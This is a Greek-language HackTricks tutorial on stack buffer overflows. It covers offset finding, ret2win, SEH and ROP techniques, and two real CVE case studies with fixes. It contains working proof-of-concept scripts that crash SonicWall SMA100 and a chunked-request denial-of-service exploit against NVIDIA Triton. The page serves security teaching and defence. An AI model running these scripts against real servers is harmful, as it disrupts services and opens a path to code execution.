Stack Overflow

Reading time: 10 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τι είναι ένα Stack Overflow

Ένα stack overflow είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχουν δεσμευτεί για να τα κρατήσει. Αυτά τα πλεονάζοντα δεδομένα θα επαναγράψουν τον παρακείμενο χώρο μνήμης, οδηγώντας σε καταστροφή έγκυρων δεδομένων, διατάραξη της ροής ελέγχου και ενδεχομένως στην εκτέλεση κακόβουλου κώδικα. Το πρόβλημα αυτό προκύπτει συχνά λόγω χρήσης μη ασφαλών συναρτήσεων που δεν ελέγχουν τα όρια της εισόδου.

Το κύριο πρόβλημα αυτής της επανεγγραφής είναι ότι ο saved instruction pointer (EIP/RIP) και ο saved base pointer (EBP/RBP) που χρησιμοποιούνται για να επιστρέψει στην προηγούμενη συνάρτηση αποθηκεύονται στο stack. Επομένως, ένας επιτιθέμενος θα μπορεί να τα επαναγράψει και να ελέγξει τη ροή εκτέλεσης του προγράμματος.

Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση αντιγράφει μέσα στο stack περισσότερα bytes από το ποσό που της έχει δεσμευτεί, επιτρέποντας έτσι την επανεγγραφή άλλων τμημάτων του stack.

Κάποιες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: strcpy, strcat, sprintf, gets... Επίσης, συναρτήσεις όπως fgets, read & memcpy που παίρνουν ένα όρισμα μήκους, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το δεσμευμένο.

Για παράδειγμα, οι παρακάτω συναρτήσεις θα μπορούσαν να είναι ευάλωτες:

c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Εύρεση Stack Overflows offsets

Ο πιο συνηθισμένος τρόπος για να βρείτε stack overflows είναι να δώσετε ένα πολύ μεγάλο input από As (π.χ. python3 -c 'print("A"*1000)') και να περιμένετε ένα Segmentation Fault που υποδεικνύει ότι η διεύθυνση 0x41414141 προσπαθήθηκε να προσπελαστεί.

Επιπλέον, μόλις διαπιστώσετε ότι υπάρχει Stack Overflow vulnerability, θα χρειαστεί να βρείτε το offset μέχρι να είναι δυνατό να overwrite the return address, για αυτό συνήθως χρησιμοποιείται μια De Bruijn sequence. Η οποία, για ένα δεδομένο αλφάβητο μεγέθους k και υποακολουθίες μήκους n, είναι μια κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους n εμφανίζεται ακριβώς μία φορά ως συνεχόμενη υποακολουθία.

Με αυτόν τον τρόπο, αντί να χρειάζεται να βρείτε χειροκίνητα ποιο offset απαιτείται για να ελέγξετε το EIP, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε το offset των bytes που κατέληξαν να την αντικαταστήσουν.

Μπορείτε να χρησιμοποιήσετε pwntools για αυτό:

python
from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

ή GEF:

bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Εκμετάλλευση Stack Overflows

Κατά τη διάρκεια ενός overflow (υποθέτοντας ότι το μέγεθος του overflow είναι αρκετά μεγάλο) θα μπορείτε να overwrite τιμές τοπικών μεταβλητών μέσα στη στοίβα μέχρι να φτάσετε τον αποθηκευμένο EBP/RBP and EIP/RIP (or even more).
Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι με modifying the return address, έτσι ώστε όταν η συνάρτηση τελειώσει η control flow will be redirected wherever the user specified σε αυτόν τον pointer.

Ωστόσο, σε άλλα σενάρια ίσως απλώς το overwriting some variables values in the stack να είναι αρκετό για την εκμετάλλευση (όπως σε easy CTF challenges).

Ret2win

Σε αυτόν τον τύπο CTF challenges, υπάρχει μια function inside το binary που never called και που you need to call in order to win. Για αυτές τις προκλήσεις χρειάζεται απλά να βρείτε το offset to overwrite the return address και να find the address of the function που θα καλέσετε (συνήθως ASLR θα είναι disabled) ώστε όταν η ευάλωτη function επιστρέψει, η κρυφή function να κληθεί:

Ret2win

Stack Shellcode

Σε αυτό το σενάριο ο attacker μπορεί να τοποθετήσει ένα shellcode στη στοίβα και να εκμεταλλευτεί το ελεγχόμενο EIP/RIP για να πηδήξει στο shellcode και να εκτελέσει arbitrary code:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

Σε 32-bit Windows, ένα overflow μπορεί να overwrite το Structured Exception Handler (SEH) chain αντί για το αποθηκευμένο return address. Η εκμετάλλευση συνήθως αντικαθιστά τον SEH pointer με ένα POP POP RET gadget και χρησιμοποιεί το 4-byte πεδίο nSEH για ένα σύντομο jump για να pivot πίσω στον μεγάλο buffer όπου βρίσκεται το shellcode. Ένα κοινό μοτίβο είναι ένα short jmp στο nSEH που προσγειώνεται σε ένα 5-byte near jmp τοποθετημένο ακριβώς πριν από το nSEH για να πηδήξει εκατοντάδες bytes πίσω στην αρχή του payload.

Windows Seh Overflow

ROP & Ret2... techniques

Αυτή η τεχνική είναι το βασικό πλαίσιο για να παρακαμφθεί η κύρια προστασία της προηγούμενης τεχνικής: No executable stack (NX). Επιπλέον επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall...) που θα καταλήξουν να εκτελούν arbitrary commands εκμεταλλευόμενες υπάρχουσες οδηγίες στο binary:

ROP & JOP

Heap Overflows

Ένα overflow δεν θα βρίσκεται πάντα στη στοίβα, μπορεί επίσης να είναι στο heap για παράδειγμα:

Heap Overflow

Types of protections

Υπάρχουν διάφορες προστασίες που προσπαθούν να αποτρέψουν την εκμετάλλευση ευπαθειών, δείτε τις στο:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

Μια καλή επίδειξη του γιατί sscanf δεν πρέπει ποτέ να εμπιστεύεται για την ανάλυση μη αξιόπιστων εισόδων εμφανίστηκε το 2025 στην SonicWall’s SMA100 SSL-VPN appliance. Η ευάλωτη ρουτίνα μέσα στο /usr/src/EasyAccess/bin/httpd προσπαθεί να εξάγει την έκδοση και το endpoint από οποιοδήποτε URI που ξεκινά με /__api__/:

c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. Η πρώτη μετατροπή (%2s) αποθηκεύει με ασφάλεια δύο bytes στο version (π.χ. "v1").
  2. Η δεύτερη μετατροπή (%s) δεν έχει καθορισμένη παράμετρο μήκους, επομένως το sscanf θα συνεχίσει να αντιγράφει μέχρι το πρώτο NUL byte.
  3. Εφόσον το endpoint βρίσκεται στον stack και έχει μήκος 0x800 bytes, η παροχή ενός path μεγαλύτερου από 0x800 bytes καταστρέφει όλα όσα βρίσκονται μετά το buffer ‑ συμπεριλαμβανομένων του stack canary και της saved return address.

Μια proof-of-concept μίας γραμμής αρκεί για να προκαλέσει το crash πριν την αυθεντικοποίηση:

python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Ακόμα και αν τα stack canaries τερματίζουν τη διαδικασία, ο επιτιθέμενος αποκτά παρ' όλ' αυτά ένα Denial-of-Service primitive (και, με επιπρόσθετα information leaks, ενδεχομένως code-execution). Το μάθημα είναι απλό:

  • Να παρέχετε πάντα ένα maximum field width (π.χ. %511s).
  • Προτιμήστε ασφαλέστερες εναλλακτικές όπως snprintf/strncpy_s.

Πραγματικό Παράδειγμα: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

Το NVIDIA’s Triton Inference Server (≤ v25.06) περιείχε πολλαπλά stack-based overflows προσβάσιμα μέσω του HTTP API. Το ευάλωτο μοτίβο εμφανιζόταν επανειλημμένα στο http_server.cc και sagemaker_server.cc:

c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) επιστρέφει τον αριθμό των εσωτερικών buffer segments που συνθέτουν το τρέχον σώμα HTTP αιτήματος.
  2. Κάθε τμήμα προκαλεί την κατανομή ενός evbuffer_iovec 16-byte στο stack μέσω alloca()χωρίς κανένα ανώτατο όριο.
  3. Καταχρηστικά χρησιμοποιώντας HTTP chunked transfer-encoding, ένας client μπορεί να αναγκάσει το αίτημα να χωριστεί σε εκατοντάδες χιλιάδες 6-byte chunks ("1\r\nA\r\n"). Αυτό κάνει το n να αυξάνεται απεριόριστα μέχρι να εξαντληθεί το stack.

Απόδειξη Ιδέας (DoS)

python
#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

Ένα ~3 MB αίτημα είναι αρκετό για να υπεργράψει την αποθηκευμένη διεύθυνση επιστροφής και να crash τον daemon σε ένα default build.

Διόρθωση & Αντιμετώπιση

Η έκδοση 25.07 αντικαθιστά την unsafe stack allocation με ένα heap-backed std::vector και χειρίζεται ομαλά το std::bad_alloc:

c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

Διδάγματα:

  • Μην καλείτε ποτέ alloca() με attacker-controlled sizes.
  • Chunked requests μπορούν να αλλάξουν δραστικά τη μορφή των server-side buffers.
  • Επικυρώστε / περιορίστε οποιαδήποτε τιμή προέρχεται από client input πριν τη χρήση της σε memory allocations.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks